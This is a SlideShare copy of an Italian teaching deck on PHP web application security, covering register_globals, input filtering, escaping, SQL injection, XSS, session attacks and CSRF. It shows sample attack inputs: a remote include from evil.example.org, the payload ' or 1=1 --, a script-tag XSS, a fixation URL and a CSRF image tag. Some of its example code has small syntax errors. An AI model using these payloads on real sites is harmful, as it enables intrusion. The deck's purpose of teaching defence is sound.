SlideShare uma empresa Scribd logo
1 de 29
Baixar para ler offline
1
Indice

 La sicurezza delle applicazioni web
 Le vulnerabilità delle applicazioni web
 La sicurezza in PHP:
  La direttiva register_globals
  Filtrare l'input
  Filtrare l'output (escaping)
  SQL Injection
  Cross Site Scripting (XSS)
  Exposed source code
  Session Fixation
  Session Hijacking
  Cross-Site Request Forgeries (CSRF)
                                            2

                                           1/28
La sicurezza delle applicazioni web

 Che cosa si intende per software sicuro?
 Per sicurezza del software si intende l'assenza da
condizioni conflittuali capaci di produrre danni
mortali o irreparabili ad un sistema. (Wikipedia)
 La sicurezza di un software è strettamente legata
alla sua capacità di quot;sopravvivenzaquot; ad attacchi
esterni e ad errori più o meno critici.
  Le applicazioni web sono particolarmente
vulnerabili poiché esposte a numerosi attacchi
(internet)

                                                       3

                                                      2/28
La sicurezza delle applicazioni web (2)

 Quand'è che un software è ritenuto sicuro?
 La sicurezza deve essere intesa come misura non
come caratteristica.
 La sicurezza è sempre relativa all'ambito di
applicazione.
 La sicurezza non deve compromettere l'usabilità
del software.
 La sicurezza deve essere parte integrante del
processo di progettazione di un software.

                                                    4

                                                   3/28
Primi passi verso la sicurezza

 Progettare sempre ipotizzando ad un utilizzo abusivo
del proprio software
 Tenersi aggiornati sulle problematiche di sicurezza
 Assumere sempre che i dati esterni al programma
siano non validi fino a quando non se verifica la loro
validità:
   Filtrare sempre tutti i dati in input.
   Codificare/formattare tutti i dati in output (escaping)

                                                              5

                                                             4/28
Gli 8 principi della sicurezza (Saltzer, Schroeder 1974)
 1. Mantenere il design dell'applicazione il più piccolo e semplice
 possibile.
 2. Il controllo degli accessi deve basarsi su permessi (quot;solo chi...quot;)
 e non su esclusioni (quot;tutti tranne...quot;).
 3. Ogni accesso a ogni oggetto deve essere controllato.
 4. Il design dell'applicazione non deve essere segreto.
 5. Ove possibile, adottare meccanismi di protezione con più chiavi.
 6. Utente e applicazioni devono operare con il minimo livello di
 privilegi possibile.
 7. Ridurre al minimo i moduli in comune fra più utenti.
 8. Realizzare interfacce semplici, che aiutino ad attivare tutti i
 meccanismi di sicurezza.
                                                                           6

                                                                          5/28
Le 10 principali vulnerabilità delle applicazioni web (OWASP)
    Unvalidated Input
    Broken Access Control
    Broken Authentication and Session Management
    Cross Site Scripting (XSS)
    Buffer Overflow
    Injection Flaws
    Improper Error Handling
    Insecure Storage
    Application Denial of Service
    Insecure Configuration Management
                                                                7

                                                            6/28
Le 10 principali vulnerabilità delle applicazioni web (OWASP)




                                                                8

                                                            7/28
La sicurezza in PHP: la direttiva register_globals

  La direttiva register_globals, se abilitata, permette allo
script PHP di creare variabili globali secondo quanto
ricevuto via query string, form, cookies o sessione.

 Di default la direttiva register_globals è disabilitata dalla
versione 4.2.0 di PHP.

 E' consigliabile tenere sempre disabilitata questa
direttiva, in questo modo si ha più controllo sull'origine dei
dati ($_GET, $_POST, $_COOKIE).

                                                                  9

                                                                 8/28
La sicurezza in PHP: la direttiva register_globals
 <?php

 if (authenticated_user()){
    $authorized = true;
 }
 if ($authorized) {
    include '/highly/sensitive/data.php';
 }

 ?>

Se richiamo questo script con ?authorized=1 riesco ad
autenticarmi saltando il controllo authenticated_user()
                                                          10

                                                          9/28
La sicurezza in PHP: la direttiva register_globals
 <?php

 include “$path/script.php”;

 ?>

Manipolando la variabile globale $path posso inserire del
codice PHP arbitrario nello script!!!
 <?php

 include “http://evil.example.org/?/script.php”;

 ?>
                                                            11

                                                            10/28
La sicurezza in PHP: riconoscere e filtrare l'input
 Identificare l'origine dei dati: form ($_GET, $_POST),
cookies ($_COOKIE), RSS feeds, etc.
  Non ritenere validi i dati in input finchè non se ne verifica
l'autenticità. Non utilizzare fonti di autenticazione poco
sicure, ad esempio $_SERVER o i dati provenienti da
database.
 Inizializzare sempre tutte le variabili ed impostare la
direttiva error_reporting su E_ALL.
 La chiave è identificare l'origine dei dati. Se i dati
vengono generati da una sorgente esterna devono
essere sempre filtrati.
                                                                  12

                                                                  11/28
La sicurezza in PHP: filtrare l'input e l'output (escaping)




                                                              13

                                                          12/28
La sicurezza in PHP: filtrare l'input

 <?php

 $clean = array();

 switch($_POST['color']){
    case 'red':
    case 'green':
    case 'blue':
       $clean['color'] = $_POST['color'];
       break;
 }

 ?>
                                            14

                                            13/28
La sicurezza in PHP: filtrare l'input

<?php

$clean = array();

if (ctype_alnum($_POST['username'])) {
   $clean['username'] = $_POST['username'];
}

?>




                                              15

                                              14/28
La sicurezza in PHP: filtrare l'output (escaping)

 L'escaping è la procedura di codifica dell'output in un
set di caratteri sicuri e compatibili con il destinatario
(sistema remoto)

 I due destinatari più comuni per l'output di uno script
PHP sono il browser (htmlentities()) ed i database come
MySQL (mysql_real_escape_string()).

 Altri tipi di escaping possono essere progettati dal
programmatore a seconda delle esigenze facendo
attenzione però a tutti i possibili casi!
                                                            16

                                                            15/28
La sicurezza in PHP: filtrare l'output (escaping)


<?php

$html= array();

$html['username']= htmlentities($clean['username'],
ENT_QUOTES, 'UTF-8');

echo quot;<p>Welcome back, {$html['username']}.</p>quot;;

?>



                                                      17

                                                    16/28
La sicurezza in PHP: filtrare l'output (escaping)

<?php

$mysql = array();

$mysql['username'] =
mysql_real_escape_string($clean['username']);

$sql = quot;SELECT *
FROM profile
WHERE username = '{$mysql['username']}'quot;;
$result = mysql_query($sql);

?>
                                                    18

                                                    17/28
La sicurezza in PHP: SQL Injection

 <?php

 $password = md5($_POST['password']);

 $query = quot;SELECT * FROM users WHERE username =
 '{$_POST['username']}' AND password = '$password'quot;;

 $result = mysql_query($query);
 ?>

Se richiamo questo script con username = ' or 1=1 --
riesco ad autenticarmi sempre. La stringa -- indica l'inizio di
un commento in SQL.
                                                                  19

                                                                  18/28
La sicurezza in PHP: SQL Injection

 Quali sono i rimedi all'SQL Injection?

  Filtrare l'input

  Codificare (escaping) l'output

  Se non esiste una funzione di escaping dedicata per il
  vs. DBMS utilizzate addslashes().



                                                           20

                                                           19/28
La sicurezza in PHP: Cross Site Scripting (XSS)

 Il Cross Site Scripting (XSS) è una tecnica che consente
di inserire codice arbitrario in uno script.

<?php

echo quot;<p>Welcome back, {$_GET['username']}.</p>quot;;

?>

 Se username = <script> ... </script> il browser
eseguirà il codice “maligno”, ad esempio in Javascript,
nella pagina PHP.
                                                            21

                                                            20/28
La sicurezza in PHP: Exposed Source Code
  Quando includiamo file con estensione diversa da .php
risultano leggibili da browser (ad esempio foo.inc)

 Questo dipende dal fatto che la maggior parte dei web
server hanno come DefaultType il valore text/plain

 I file inclusi in un progetto PHP non dovrebbero essere
memorizzati nella root directory

 La tecnica migliore consiste nel posizionare i file include
e require in una directory del file system non accessibile
via URL.
                                                               22

                                                               21/28
La sicurezza in PHP: Session Fixation

 PHP utilizza qualsiasi identificatore di sessione
proveniente dal client.

 Un attaccante potrebbe prendere possesso di un
applicazione remota inserendo un identificatore di
sessione ad hoc. Ad esempio:
http://example.org/login.php?HPSESSID=1234
                                   P

 Un possibile rimedio è quello di rigenerare l'ID della
sessione ad ogni autenticazione tramite la funzione
session_regenerate_id().
                                                          23

                                                          22/28
La sicurezza in PHP: Session Hijacking
 Un attaccante può impersonificare un altro utente se
viene a conoscenza del suo identificativo di sessione

 I metodi per ottenere un identificativo di sessione valido
sono: fixation, prediction e capture.

 Il metodo fixation consente di fissare un identificativo di
sessione con ?PHPSESSID=1234e riutilizzarlo per aprire
una nuova istanza dell'applicazione con un altro browser.

 Il metodo prediction consiste nel cercare di predire il
valore di sessione (PHP utilizza valori pseudocasuali di
SESSID).
                                                               24

                                                               23/28
La sicurezza in PHP: Session Hijacking

  Il metodo capture consiste nel catturare e decifrare il
valore di sessione attraverso l'analisi delle variabili GET e
dei cookies

  I possibili rimedi contro il Session Hijacking sono
l'utilizzo delle connessioni SSL, la propagazione con i
cookies, l'utilizzo di token personalizzati.

  I token sono dei valori generati casualmente per
l'autenticazione delle pagine.


                                                                25

                                                                24/28
La sicurezza in PHP: Session Hijacking utilizzo dei token
  <?php
  session_start();
  if (!isset($_SESSION['auth'])) {
     $auth = md5(uniqid(rand(), TRUE);
     $_SESSION['auth'] = $auth;
  }
  ?>

  <?php
  echo '<a
  href=quot;page.php?auth=$_SESSION['auth']';
  echo 'quot;>Click Me!</a>';
  ?>

                                                            26

                                                        25/28
La sicurezza in PHP: Cross-Site Request Forgeries

 Tecnica che consente di inviare richieste HTTP arbitrarie
ad un vittima (client).

 Poiché le richieste sono generate dalla vittima possono
superare tutti i controlli di rete come firewall, application
gateway, etc.

 Un'immagine è spesso utilizzata come mezzo di attacco:

<img src=quot;http://books.example.org/
 buy.php?isbn=059600656Xquot; />

                                                                27

                                                                26/28
La sicurezza in PHP: Cross-Site Request Forgeries




                                                    28

                                                    27/28
Bibliografia
    Chris Shiflett, Essential PHP Security, O'Reilly, 2005
●




    Chris Snyder, Michael Southwell, Pro PHP Security, Apress, 2005
●




 Ilia Alshanetsky, Rasmus Lerdorf, php|architect's Guide to PHP
●


Security, Marco Tabini & Associates, 2005

    PHP Security Guide 1.0, PHP Security Consortium, 2005
●




Siti internet
  http://phpsec.org
●

● http://www.owasp.org

● http://shiflett.org/

● http://phpsecurity.org/

                                                                      29

                                                                      28/28

Mais conteúdo relacionado

Semelhante a Enrico Zimuel: La sicurezza delle applicazioni in PHP

Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.Stefano Bianchini
 
Linux Day 2014 - Napoli - Programma Il Futuro: una scelta open source
Linux Day 2014 - Napoli - Programma Il Futuro: una scelta open sourceLinux Day 2014 - Napoli - Programma Il Futuro: una scelta open source
Linux Day 2014 - Napoli - Programma Il Futuro: una scelta open sourceMario Rossano
 
Programma il futuro: una scelta open source
Programma il futuro: una scelta open sourceProgramma il futuro: una scelta open source
Programma il futuro: una scelta open sourceMarco Ferrigno
 
Web Application Insecurity Uncensored
Web Application Insecurity UncensoredWeb Application Insecurity Uncensored
Web Application Insecurity Uncensoredjekil
 
05 sicurezza delle applicazioni per le aziende nel settore della pubblica uti...
05 sicurezza delle applicazioni per le aziende nel settore della pubblica uti...05 sicurezza delle applicazioni per le aziende nel settore della pubblica uti...
05 sicurezza delle applicazioni per le aziende nel settore della pubblica uti...IBM Italia Web Team
 
JAMP DAY 2010 - ROMA (1)
JAMP DAY 2010 - ROMA (1)JAMP DAY 2010 - ROMA (1)
JAMP DAY 2010 - ROMA (1)jampslide
 
Programma il futuro : una scelta Open Source
Programma il futuro : una scelta Open SourceProgramma il futuro : una scelta Open Source
Programma il futuro : una scelta Open SourceNaLUG
 
Come mettere in sicurezza le applicazioni legacy, un approccio pragmatico
Come mettere in sicurezza le applicazioni legacy, un approccio pragmaticoCome mettere in sicurezza le applicazioni legacy, un approccio pragmatico
Come mettere in sicurezza le applicazioni legacy, un approccio pragmaticoAntonio Parata
 
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesaHackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesaSimone Onofri
 
Come sviluppo le applicazioni web
Come sviluppo le applicazioni webCome sviluppo le applicazioni web
Come sviluppo le applicazioni webAndrea Lazzarotto
 
Malware Analysis. A Case Study
Malware Analysis. A Case StudyMalware Analysis. A Case Study
Malware Analysis. A Case StudyGianni Amato
 
Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3Mauro Lorenzutti
 
Hosting: 12 consigli per difendersi dagli hacker #TipOfTheDay
Hosting: 12 consigli per difendersi dagli hacker  #TipOfTheDayHosting: 12 consigli per difendersi dagli hacker  #TipOfTheDay
Hosting: 12 consigli per difendersi dagli hacker #TipOfTheDayAruba S.p.A.
 
Simple Cloud API: accesso semplificato al cloud computing
Simple Cloud API: accesso semplificato al cloud computingSimple Cloud API: accesso semplificato al cloud computing
Simple Cloud API: accesso semplificato al cloud computingFrancesca1980
 

Semelhante a Enrico Zimuel: La sicurezza delle applicazioni in PHP (20)

Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
 
Owasp parte3
Owasp parte3Owasp parte3
Owasp parte3
 
sicurezza e php
sicurezza e phpsicurezza e php
sicurezza e php
 
Linux Day 2014 - Napoli - Programma Il Futuro: una scelta open source
Linux Day 2014 - Napoli - Programma Il Futuro: una scelta open sourceLinux Day 2014 - Napoli - Programma Il Futuro: una scelta open source
Linux Day 2014 - Napoli - Programma Il Futuro: una scelta open source
 
Programma il futuro: una scelta open source
Programma il futuro: una scelta open sourceProgramma il futuro: una scelta open source
Programma il futuro: una scelta open source
 
Web Application Insecurity Uncensored
Web Application Insecurity UncensoredWeb Application Insecurity Uncensored
Web Application Insecurity Uncensored
 
05 sicurezza delle applicazioni per le aziende nel settore della pubblica uti...
05 sicurezza delle applicazioni per le aziende nel settore della pubblica uti...05 sicurezza delle applicazioni per le aziende nel settore della pubblica uti...
05 sicurezza delle applicazioni per le aziende nel settore della pubblica uti...
 
Php mysql3
Php mysql3Php mysql3
Php mysql3
 
JAMP DAY 2010 - ROMA (1)
JAMP DAY 2010 - ROMA (1)JAMP DAY 2010 - ROMA (1)
JAMP DAY 2010 - ROMA (1)
 
Programma il futuro : una scelta Open Source
Programma il futuro : una scelta Open SourceProgramma il futuro : una scelta Open Source
Programma il futuro : una scelta Open Source
 
Come mettere in sicurezza le applicazioni legacy, un approccio pragmatico
Come mettere in sicurezza le applicazioni legacy, un approccio pragmaticoCome mettere in sicurezza le applicazioni legacy, un approccio pragmatico
Come mettere in sicurezza le applicazioni legacy, un approccio pragmatico
 
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesaHackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
 
Linux Day 2009 LAMP HowTo
Linux Day 2009 LAMP HowToLinux Day 2009 LAMP HowTo
Linux Day 2009 LAMP HowTo
 
Come sviluppo le applicazioni web
Come sviluppo le applicazioni webCome sviluppo le applicazioni web
Come sviluppo le applicazioni web
 
Owasp parte1-rel1.1
Owasp parte1-rel1.1Owasp parte1-rel1.1
Owasp parte1-rel1.1
 
Malware Analysis. A Case Study
Malware Analysis. A Case StudyMalware Analysis. A Case Study
Malware Analysis. A Case Study
 
Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3
 
Hosting: 12 consigli per difendersi dagli hacker #TipOfTheDay
Hosting: 12 consigli per difendersi dagli hacker  #TipOfTheDayHosting: 12 consigli per difendersi dagli hacker  #TipOfTheDay
Hosting: 12 consigli per difendersi dagli hacker #TipOfTheDay
 
Attacchi e difese
Attacchi e difeseAttacchi e difese
Attacchi e difese
 
Simple Cloud API: accesso semplificato al cloud computing
Simple Cloud API: accesso semplificato al cloud computingSimple Cloud API: accesso semplificato al cloud computing
Simple Cloud API: accesso semplificato al cloud computing
 

Mais de Francesco Fullone

Life Cycle Design e Circular Economy: un caso reale
Life Cycle Design e Circular Economy: un caso reale Life Cycle Design e Circular Economy: un caso reale
Life Cycle Design e Circular Economy: un caso reale Francesco Fullone
 
Okr istruzioni per l'uso - devfest
Okr   istruzioni per l'uso - devfestOkr   istruzioni per l'uso - devfest
Okr istruzioni per l'uso - devfestFrancesco Fullone
 
OKR, sono veramente utili alla mia azienda?
OKR, sono veramente utili alla mia azienda?OKR, sono veramente utili alla mia azienda?
OKR, sono veramente utili alla mia azienda?Francesco Fullone
 
Open Governance, un caso reale
Open Governance, un caso realeOpen Governance, un caso reale
Open Governance, un caso realeFrancesco Fullone
 
A recommendation engine for your applications
A recommendation engine for your applicationsA recommendation engine for your applications
A recommendation engine for your applicationsFrancesco Fullone
 
A recommendation engine for your applications
A recommendation engine for your applicationsA recommendation engine for your applications
A recommendation engine for your applicationsFrancesco Fullone
 
MVP & Startup, with OpenSource Software and Microsoft Azure
MVP & Startup, with OpenSource Software and Microsoft AzureMVP & Startup, with OpenSource Software and Microsoft Azure
MVP & Startup, with OpenSource Software and Microsoft AzureFrancesco Fullone
 
Help yourself, grow an healthy ecosystem
Help yourself, grow an healthy ecosystemHelp yourself, grow an healthy ecosystem
Help yourself, grow an healthy ecosystemFrancesco Fullone
 
Outsourcing, partners or suppliers?
Outsourcing, partners or suppliers?Outsourcing, partners or suppliers?
Outsourcing, partners or suppliers?Francesco Fullone
 
From brainstorming to product development
From brainstorming to product developmentFrom brainstorming to product development
From brainstorming to product developmentFrancesco Fullone
 
Compromises and not solution
Compromises and not solutionCompromises and not solution
Compromises and not solutionFrancesco Fullone
 

Mais de Francesco Fullone (20)

Life Cycle Design e Circular Economy: un caso reale
Life Cycle Design e Circular Economy: un caso reale Life Cycle Design e Circular Economy: un caso reale
Life Cycle Design e Circular Economy: un caso reale
 
Okr istruzioni per l'uso - devfest
Okr   istruzioni per l'uso - devfestOkr   istruzioni per l'uso - devfest
Okr istruzioni per l'uso - devfest
 
OKR, sono veramente utili alla mia azienda?
OKR, sono veramente utili alla mia azienda?OKR, sono veramente utili alla mia azienda?
OKR, sono veramente utili alla mia azienda?
 
Okr per community - icms
Okr   per community - icmsOkr   per community - icms
Okr per community - icms
 
Open Governance, un caso reale
Open Governance, un caso realeOpen Governance, un caso reale
Open Governance, un caso reale
 
A recommendation engine for your applications
A recommendation engine for your applicationsA recommendation engine for your applications
A recommendation engine for your applications
 
A recommendation engine for your applications
A recommendation engine for your applicationsA recommendation engine for your applications
A recommendation engine for your applications
 
Con te non ci lavoro
Con te non ci lavoroCon te non ci lavoro
Con te non ci lavoro
 
Con te non ci lavoro
Con te non ci lavoroCon te non ci lavoro
Con te non ci lavoro
 
Continuous budgeting
Continuous budgetingContinuous budgeting
Continuous budgeting
 
Remote working istruzioni
Remote working istruzioniRemote working istruzioni
Remote working istruzioni
 
Remote working istruzioni
Remote working istruzioniRemote working istruzioni
Remote working istruzioni
 
MVP & Startup, with OpenSource Software and Microsoft Azure
MVP & Startup, with OpenSource Software and Microsoft AzureMVP & Startup, with OpenSource Software and Microsoft Azure
MVP & Startup, with OpenSource Software and Microsoft Azure
 
Remote working istruzioni
Remote working istruzioniRemote working istruzioni
Remote working istruzioni
 
Help yourself, grow an healthy ecosystem
Help yourself, grow an healthy ecosystemHelp yourself, grow an healthy ecosystem
Help yourself, grow an healthy ecosystem
 
Outsourcing, partners or suppliers?
Outsourcing, partners or suppliers?Outsourcing, partners or suppliers?
Outsourcing, partners or suppliers?
 
From brainstorming to product development
From brainstorming to product developmentFrom brainstorming to product development
From brainstorming to product development
 
Compromises and not solution
Compromises and not solutionCompromises and not solution
Compromises and not solution
 
PHP Goes Enterprise
PHP Goes EnterprisePHP Goes Enterprise
PHP Goes Enterprise
 
your browser, my storage
your browser, my storageyour browser, my storage
your browser, my storage
 

Enrico Zimuel: La sicurezza delle applicazioni in PHP

  • 1. 1
  • 2. Indice La sicurezza delle applicazioni web Le vulnerabilità delle applicazioni web La sicurezza in PHP: La direttiva register_globals Filtrare l'input Filtrare l'output (escaping) SQL Injection Cross Site Scripting (XSS) Exposed source code Session Fixation Session Hijacking Cross-Site Request Forgeries (CSRF) 2 1/28
  • 3. La sicurezza delle applicazioni web Che cosa si intende per software sicuro? Per sicurezza del software si intende l'assenza da condizioni conflittuali capaci di produrre danni mortali o irreparabili ad un sistema. (Wikipedia) La sicurezza di un software è strettamente legata alla sua capacità di quot;sopravvivenzaquot; ad attacchi esterni e ad errori più o meno critici. Le applicazioni web sono particolarmente vulnerabili poiché esposte a numerosi attacchi (internet) 3 2/28
  • 4. La sicurezza delle applicazioni web (2) Quand'è che un software è ritenuto sicuro? La sicurezza deve essere intesa come misura non come caratteristica. La sicurezza è sempre relativa all'ambito di applicazione. La sicurezza non deve compromettere l'usabilità del software. La sicurezza deve essere parte integrante del processo di progettazione di un software. 4 3/28
  • 5. Primi passi verso la sicurezza Progettare sempre ipotizzando ad un utilizzo abusivo del proprio software Tenersi aggiornati sulle problematiche di sicurezza Assumere sempre che i dati esterni al programma siano non validi fino a quando non se verifica la loro validità: Filtrare sempre tutti i dati in input. Codificare/formattare tutti i dati in output (escaping) 5 4/28
  • 6. Gli 8 principi della sicurezza (Saltzer, Schroeder 1974) 1. Mantenere il design dell'applicazione il più piccolo e semplice possibile. 2. Il controllo degli accessi deve basarsi su permessi (quot;solo chi...quot;) e non su esclusioni (quot;tutti tranne...quot;). 3. Ogni accesso a ogni oggetto deve essere controllato. 4. Il design dell'applicazione non deve essere segreto. 5. Ove possibile, adottare meccanismi di protezione con più chiavi. 6. Utente e applicazioni devono operare con il minimo livello di privilegi possibile. 7. Ridurre al minimo i moduli in comune fra più utenti. 8. Realizzare interfacce semplici, che aiutino ad attivare tutti i meccanismi di sicurezza. 6 5/28
  • 7. Le 10 principali vulnerabilità delle applicazioni web (OWASP) Unvalidated Input Broken Access Control Broken Authentication and Session Management Cross Site Scripting (XSS) Buffer Overflow Injection Flaws Improper Error Handling Insecure Storage Application Denial of Service Insecure Configuration Management 7 6/28
  • 8. Le 10 principali vulnerabilità delle applicazioni web (OWASP) 8 7/28
  • 9. La sicurezza in PHP: la direttiva register_globals La direttiva register_globals, se abilitata, permette allo script PHP di creare variabili globali secondo quanto ricevuto via query string, form, cookies o sessione. Di default la direttiva register_globals è disabilitata dalla versione 4.2.0 di PHP. E' consigliabile tenere sempre disabilitata questa direttiva, in questo modo si ha più controllo sull'origine dei dati ($_GET, $_POST, $_COOKIE). 9 8/28
  • 10. La sicurezza in PHP: la direttiva register_globals <?php if (authenticated_user()){ $authorized = true; } if ($authorized) { include '/highly/sensitive/data.php'; } ?> Se richiamo questo script con ?authorized=1 riesco ad autenticarmi saltando il controllo authenticated_user() 10 9/28
  • 11. La sicurezza in PHP: la direttiva register_globals <?php include “$path/script.php”; ?> Manipolando la variabile globale $path posso inserire del codice PHP arbitrario nello script!!! <?php include “http://evil.example.org/?/script.php”; ?> 11 10/28
  • 12. La sicurezza in PHP: riconoscere e filtrare l'input Identificare l'origine dei dati: form ($_GET, $_POST), cookies ($_COOKIE), RSS feeds, etc. Non ritenere validi i dati in input finchè non se ne verifica l'autenticità. Non utilizzare fonti di autenticazione poco sicure, ad esempio $_SERVER o i dati provenienti da database. Inizializzare sempre tutte le variabili ed impostare la direttiva error_reporting su E_ALL. La chiave è identificare l'origine dei dati. Se i dati vengono generati da una sorgente esterna devono essere sempre filtrati. 12 11/28
  • 13. La sicurezza in PHP: filtrare l'input e l'output (escaping) 13 12/28
  • 14. La sicurezza in PHP: filtrare l'input <?php $clean = array(); switch($_POST['color']){ case 'red': case 'green': case 'blue': $clean['color'] = $_POST['color']; break; } ?> 14 13/28
  • 15. La sicurezza in PHP: filtrare l'input <?php $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } ?> 15 14/28
  • 16. La sicurezza in PHP: filtrare l'output (escaping) L'escaping è la procedura di codifica dell'output in un set di caratteri sicuri e compatibili con il destinatario (sistema remoto) I due destinatari più comuni per l'output di uno script PHP sono il browser (htmlentities()) ed i database come MySQL (mysql_real_escape_string()). Altri tipi di escaping possono essere progettati dal programmatore a seconda delle esigenze facendo attenzione però a tutti i possibili casi! 16 15/28
  • 17. La sicurezza in PHP: filtrare l'output (escaping) <?php $html= array(); $html['username']= htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); echo quot;<p>Welcome back, {$html['username']}.</p>quot;; ?> 17 16/28
  • 18. La sicurezza in PHP: filtrare l'output (escaping) <?php $mysql = array(); $mysql['username'] = mysql_real_escape_string($clean['username']); $sql = quot;SELECT * FROM profile WHERE username = '{$mysql['username']}'quot;; $result = mysql_query($sql); ?> 18 17/28
  • 19. La sicurezza in PHP: SQL Injection <?php $password = md5($_POST['password']); $query = quot;SELECT * FROM users WHERE username = '{$_POST['username']}' AND password = '$password'quot;; $result = mysql_query($query); ?> Se richiamo questo script con username = ' or 1=1 -- riesco ad autenticarmi sempre. La stringa -- indica l'inizio di un commento in SQL. 19 18/28
  • 20. La sicurezza in PHP: SQL Injection Quali sono i rimedi all'SQL Injection? Filtrare l'input Codificare (escaping) l'output Se non esiste una funzione di escaping dedicata per il vs. DBMS utilizzate addslashes(). 20 19/28
  • 21. La sicurezza in PHP: Cross Site Scripting (XSS) Il Cross Site Scripting (XSS) è una tecnica che consente di inserire codice arbitrario in uno script. <?php echo quot;<p>Welcome back, {$_GET['username']}.</p>quot;; ?> Se username = <script> ... </script> il browser eseguirà il codice “maligno”, ad esempio in Javascript, nella pagina PHP. 21 20/28
  • 22. La sicurezza in PHP: Exposed Source Code Quando includiamo file con estensione diversa da .php risultano leggibili da browser (ad esempio foo.inc) Questo dipende dal fatto che la maggior parte dei web server hanno come DefaultType il valore text/plain I file inclusi in un progetto PHP non dovrebbero essere memorizzati nella root directory La tecnica migliore consiste nel posizionare i file include e require in una directory del file system non accessibile via URL. 22 21/28
  • 23. La sicurezza in PHP: Session Fixation PHP utilizza qualsiasi identificatore di sessione proveniente dal client. Un attaccante potrebbe prendere possesso di un applicazione remota inserendo un identificatore di sessione ad hoc. Ad esempio: http://example.org/login.php?HPSESSID=1234 P Un possibile rimedio è quello di rigenerare l'ID della sessione ad ogni autenticazione tramite la funzione session_regenerate_id(). 23 22/28
  • 24. La sicurezza in PHP: Session Hijacking Un attaccante può impersonificare un altro utente se viene a conoscenza del suo identificativo di sessione I metodi per ottenere un identificativo di sessione valido sono: fixation, prediction e capture. Il metodo fixation consente di fissare un identificativo di sessione con ?PHPSESSID=1234e riutilizzarlo per aprire una nuova istanza dell'applicazione con un altro browser. Il metodo prediction consiste nel cercare di predire il valore di sessione (PHP utilizza valori pseudocasuali di SESSID). 24 23/28
  • 25. La sicurezza in PHP: Session Hijacking Il metodo capture consiste nel catturare e decifrare il valore di sessione attraverso l'analisi delle variabili GET e dei cookies I possibili rimedi contro il Session Hijacking sono l'utilizzo delle connessioni SSL, la propagazione con i cookies, l'utilizzo di token personalizzati. I token sono dei valori generati casualmente per l'autenticazione delle pagine. 25 24/28
  • 26. La sicurezza in PHP: Session Hijacking utilizzo dei token <?php session_start(); if (!isset($_SESSION['auth'])) { $auth = md5(uniqid(rand(), TRUE); $_SESSION['auth'] = $auth; } ?> <?php echo '<a href=quot;page.php?auth=$_SESSION['auth']'; echo 'quot;>Click Me!</a>'; ?> 26 25/28
  • 27. La sicurezza in PHP: Cross-Site Request Forgeries Tecnica che consente di inviare richieste HTTP arbitrarie ad un vittima (client). Poiché le richieste sono generate dalla vittima possono superare tutti i controlli di rete come firewall, application gateway, etc. Un'immagine è spesso utilizzata come mezzo di attacco: <img src=quot;http://books.example.org/ buy.php?isbn=059600656Xquot; /> 27 26/28
  • 28. La sicurezza in PHP: Cross-Site Request Forgeries 28 27/28
  • 29. Bibliografia Chris Shiflett, Essential PHP Security, O'Reilly, 2005 ● Chris Snyder, Michael Southwell, Pro PHP Security, Apress, 2005 ● Ilia Alshanetsky, Rasmus Lerdorf, php|architect's Guide to PHP ● Security, Marco Tabini & Associates, 2005 PHP Security Guide 1.0, PHP Security Consortium, 2005 ● Siti internet http://phpsec.org ● ● http://www.owasp.org ● http://shiflett.org/ ● http://phpsecurity.org/ 29 28/28